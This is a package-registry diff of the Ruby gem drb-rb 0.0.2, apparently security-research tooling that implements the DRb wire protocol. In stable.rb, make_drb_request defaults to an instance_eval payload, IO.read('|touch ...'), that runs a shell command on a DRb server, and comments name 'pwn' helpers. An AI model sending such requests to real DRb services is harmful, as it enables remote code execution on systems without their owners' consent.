drb-rb 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/lib/drb-rb.rb +156 -0
  3. data/lib/drb-rb/stable.rb +133 -0
  4. metadata +44 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 94ccd527e185405e65cf075096b2855ea5c7556211faec5a099aab457b4d5cdd
4
+ data.tar.gz: e84ea85c93567f30e83d63b2d15e81a7048f960abda1a857d6964c72e6587a00
5
+ SHA512:
6
+ metadata.gz: 873997dbb694b0f74c868603d8b65c642e466d97f3cd13021cddcee190aca7ebfc004e24b5f707166aaec7daacc3fbc7bdd31d5e804bc6004fdd0530ec193640
7
+ data.tar.gz: 2d86ef34a996de4b9cb7d3167422364a4f5d85dd3eb4352ed3a16baa26a610106ab298077d5994b5218bcf883887d2004186a218ecada2bc93a1021c350ed25c
data/lib/drb-rb.rb ADDED
@@ -0,0 +1,156 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'timeout'
4
+ require 'parshal'
5
+ require_relative './drb-rb/stable'
6
+
7
+ module DRbRb
8
+ # block must accept 4 arguments: [obj_id, obj_id_raw], [method, method_raw], [args, args_raw], and [block, block_raw]
9
+ # block must return 2-3 arguments: success, result, close?
10
+ def self.start_server(sock, &block)
11
+ loop do
12
+ req = begin
13
+ drb_read_request(sock)
14
+ rescue => e
15
+ if 'recvfrom yielded no data' == e.message
16
+ break
17
+ end
18
+ puts "Exception raised in DRbRb handler1: #{e.inspect}\n#{e.backtrace.join("\n")}"
19
+ break
20
+ end
21
+ rep = begin
22
+ block.call(*req)
23
+ rescue => e
24
+ puts "Exception raised in DRbRb handler: #{e.inspect}\n#{e.backtrace.join("\n")}"
25
+ next
26
+ end
27
+
28
+ begin
29
+ if not drb_write_reply(sock, *rep)
30
+ break
31
+ end
32
+ rescue => e
33
+ puts "Exception raised in DRbRb handler3: #{e.inspect}\n#{e.backtrace.join("\n")}"
34
+ break
35
+ end
36
+ end
37
+ end
38
+
39
+ def self.send_request(sock, obj_id, method, args, block, include_raw: false)
40
+ drb_write_request(sock, obj_id, method, args, block)
41
+ drb_read_reply(sock, include_raw: include_raw)
42
+ end
43
+
44
+ def self.drb_read_request(sock)
45
+ id = drb_read_msg_piece(sock, include_raw: true)
46
+ method = drb_read_msg_piece(sock, include_raw: true)
47
+ args_len = drb_read_msg_piece(sock, include_raw: true)
48
+ args = []
49
+ if args_len[0] != nil && args_len[0].instance_of?(Integer) && args_len[0] > 0
50
+ for _ in 0...args_len[0]
51
+ args.push(drb_read_msg_piece(sock, include_raw: true))
52
+ end
53
+ end
54
+ block = drb_read_msg_piece(sock, include_raw: true)
55
+ [id, method, args, block]
56
+ end
57
+
58
+ def self.drb_read_reply(sock, include_raw: false)
59
+ [drb_read_msg_piece(sock), # success
60
+ drb_read_msg_piece(sock, include_raw: include_raw)] # result
61
+ end
62
+
63
+ def self.drb_write_request(sock, obj_id, method, args, block)
64
+ sock.send(make_request(obj_id, method, args, block), 0)
65
+ end
66
+
67
+ def self.drb_write_reply(sock, success, result, close=false)
68
+ sock.send(make_reply(success, result), 0)
69
+ if close
70
+ sock.close
71
+ end
72
+ !close
73
+ end
74
+
75
+ def self.drb_read_msg_piece(sock, include_raw: false)
76
+ len = drb_read_msg_piece_length sock
77
+
78
+ piece = nil
79
+ begin
80
+ Timeout::timeout(4) {
81
+ piece = sock.recvfrom(len)[0]
82
+ piece << sock.recvfrom(len - piece.size)[0] while piece.size < len
83
+ }
84
+ rescue Timeout::Error
85
+ raise "recvfrom timed out"
86
+ end
87
+
88
+ obj = Parshal.unmarshal(piece)
89
+
90
+ if include_raw
91
+ [obj, piece]
92
+ else
93
+ obj
94
+ end
95
+ end
96
+
97
+ def self.drb_read_msg_piece_length(sock)
98
+ len = 0
99
+ begin
100
+ Timeout::timeout(2) {
101
+ len = sock.recvfrom(4)[0]
102
+ }
103
+ rescue Timeout::Error
104
+ raise "recvfrom timed out"
105
+ end
106
+
107
+ if len.empty?
108
+ raise 'recvfrom yielded no data'
109
+ end
110
+
111
+ while len.size < 4
112
+ chunk = nil
113
+ begin
114
+ Timeout::timeout(2) {
115
+ chunk = sock.recvfrom(4 - len.size)
116
+ }
117
+ rescue Timeout::Error
118
+ raise "recvfrom timed out"
119
+ end
120
+
121
+ if chunk[0].empty?
122
+ raise 'recvfrom yielded no data after partial read'
123
+ end
124
+ len << chunk[0]
125
+ end
126
+
127
+ len.unpack1('N')
128
+ end
129
+
130
+ def self.make_request(obj_id, method, args, block)
131
+ request = make_msg_piece(obj_id)
132
+ request << make_msg_piece(method)
133
+ request << make_msg_piece(args.size)
134
+ args.each { |arg| request << make_msg_piece(arg) }
135
+ request << make_msg_piece(block)
136
+ request
137
+ end
138
+
139
+ def self.make_reply(success, result, raw=[false,false])
140
+ reply = make_msg_piece(success, raw: raw[0])
141
+ reply << make_msg_piece(result, raw: raw[1])
142
+ reply
143
+ end
144
+
145
+ def self.make_msg_piece(obj, prepend_size: true, raw: false)
146
+ #piece = Parshal.marshal(obj)
147
+ piece = if raw
148
+ obj
149
+ else
150
+ Marshal.dump(obj)
151
+ end
152
+
153
+ piece = [piece.size].pack('N') + piece if prepend_size
154
+ piece
155
+ end
156
+ end
@@ -0,0 +1,133 @@
1
+ # frozen_string_literal: true
2
+
3
+ module DRbRb
4
+ module Stable
5
+ # Methods not handled:
6
+ # - run_cli(argv)
7
+ # - parse_args(args)
8
+ # - connect_pwn(targets)
9
+ # - listen_pwn(targets)
10
+
11
+ # Builds a DRb request from pieces.
12
+ #
13
+ # == Parameters:
14
+ # [obj] The id of the object to call the method on. By default, the object_id of nil is passed as it is constant across invocations of the interpreter and always present. Nil can be passed to specify that the method should be called on the default (front) object of the DRb server.
15
+ # [method] The method to call. This is #instance_eval by default. Should be a String.
16
+ # [args] An array of arguments passed to the method. Pass an empty array if there are no objects.
17
+ # [block] The block to pass to the method. Nil by default, which specifies there is no block.
18
+ #
19
+ # == Returns:
20
+ # A array of bytes that can be written to a socket connected to a DRb server. The array includes all parts necessary for a complete request message.
21
+ def self.make_drb_request(obj = nil,
22
+ method = 'instance_eval',
23
+ args = ["IO.read('|touch \"/tmp/drb-pwn_#{Time.now}\"')"],
24
+ block = nil)
25
+ raise "make_drb_request doesn't support specifying obj" unless obj.nil?
26
+ raise "make_drb_request doesn't support specifying a block" unless block.nil?
27
+
28
+ DRbRb.make_request(obj.object_id,
29
+ method,
30
+ args,
31
+ block).unpack('c*')
32
+ end
33
+
34
+ # Prepares a piece of a DRb message by attempting to marshal the object and prepending it's length and version number
35
+ #
36
+ # == Parameters:
37
+ # [obj] The object to serialize in this piece.
38
+ #
39
+ # == Returns:
40
+ # A byte array of the marshalled object with all necessary headers for it to be a part of a valid DRb message.
41
+ def self.drb_msg_piece(obj)
42
+ DRbRb.make_msg_piece(obj).unpack('c*')
43
+ end
44
+
45
+ # A high-level marshal method that takes an object and tries to marshal the object into a byte array.
46
+ #
47
+ # == Parameters:
48
+ # [obj] The object to serialize
49
+ #
50
+ # == Returns:
51
+ # A byte array of the marshalled object.
52
+ def self.marshal(obj, prepend_version = true)
53
+ Parshal.marshal(obj, prepend_version: prepend_version).unpack('c*')
54
+ end
55
+
56
+ # A low-level marshal dump that dumps "raw" types. Intended primarily for #marshal to use but may be useful in other contexts. Main differences are that Integer doesn't include its prefix (as it's used raw in many contexts) and String doesn't turn into an IVAR, it's just the "raw String" representation that's inside the normal IVAR.
57
+ #
58
+ # == Parameters:
59
+ # [obj] The object to be serialized.
60
+ #
61
+ # == Returns:
62
+ # The raw form of the serialized object.
63
+ def self.marshal_raw(obj)
64
+ Parshal.marshal_raw(obj)
65
+ end
66
+
67
+ # Gets a reply for a DRb request. This includes a success value indicating whether the call was successful and a result that is the return value from the call. This function will exit with an error code if the success value is invalid (not true or false).
68
+ #
69
+ # == Parameters:
70
+ # [sock] The socket the request was sent over.
71
+ #
72
+ # == Returns:
73
+ # [succ] A boolean, indicating whether the request succeeded or failed.
74
+ # [result] The string containing the marshaled value returned as a result of the request. If the call was successful, this will contain the return value from the call. If the call failed, this will contain the stacktrace. This value could contain many types of objects depending on the call made so no attempt at decoding is made. Instead the raw value is returned for further parsing if necessary.
75
+ def self.get_drb_reply(sock)
76
+ success, result = DRbRb.drb_read_reply(sock)
77
+
78
+ throw "Invalid success code in reply: #{success.inspect}" unless [true, false].include? success
79
+
80
+ [success, result]
81
+ end
82
+
83
+ # Gets a single piece in a response to a DRb request. First recvs the length of the piece, decodes it to know how many bytes to read, and the recvs the whole piece.
84
+ #
85
+ # == Parameters:
86
+ # [sock] The socket the request was sent over.
87
+ #
88
+ # == Returns:
89
+ # A string containing the raw response. This value has been stripped of it's length header and Marshal version header and contains only the raw value.
90
+ def self.get_drb_reply_piece(sock)
91
+ len = DRbRb.drb_read_msg_piece_length(sock)
92
+
93
+ reply = sock.recvfrom(len)[0]
94
+ reply += sock.recvfrom(len - reply.size)[0] while reply.size < len
95
+ reply
96
+ end
97
+
98
+ # Inspects and removes the first two bytes of a marshal blob to determine the version of marshal used by the encoder. The only version supported by this script is 4.8. If the version doesn't match exactly, a warning is printed to STDERR and the function returns normally.
99
+ #
100
+ # == Parameters:
101
+ # [reply] The string containing the response from a DRb server
102
+ #
103
+ # == Returns:
104
+ # The string without the initial two byte version number.
105
+ def self.strip_version(reply)
106
+ Parshal.remove_version_prefix(reply)
107
+ end
108
+
109
+ def self.unmarshal(raw_obj, strip = true)
110
+ Parshal.unmarshal(raw_obj, remove_version: strip)
111
+ end
112
+
113
+ def self.unmarshal_raw(obj)
114
+ Parshal.unmarshal_raw(obj)
115
+ end
116
+
117
+ def self.unmarshal_raw_bool(obj)
118
+ Parshal.unmarshal_raw_bool(obj)
119
+ end
120
+
121
+ def self.unmarshal_raw_string_symbol(obj)
122
+ Parshal.unmarshal_raw_string_symbol(obj)
123
+ end
124
+
125
+ def self.unmarshal_raw_integer(obj)
126
+ Parshal.unmarshal_raw_integer(obj)
127
+ end
128
+
129
+ def is_nil(obj)
130
+ strip_version(obj) == '0'
131
+ end
132
+ end
133
+ end
metadata ADDED
@@ -0,0 +1,44 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: drb-rb
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - Addison Amiri
8
+ - Jeff Dileo
9
+ autorequire:
10
+ bindir: bin
11
+ cert_chain: []
12
+ date: 2021-05-20 00:00:00.000000000 Z
13
+ dependencies: []
14
+ description:
15
+ email: jeff.dileo@nccgroup.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - lib/drb-rb.rb
21
+ - lib/drb-rb/stable.rb
22
+ homepage: https://github.com/nccgroup/drb-rb
23
+ licenses: []
24
+ metadata: {}
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.1.4
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: A safer, minimal, partial implementation of DRb
44
+ test_files: []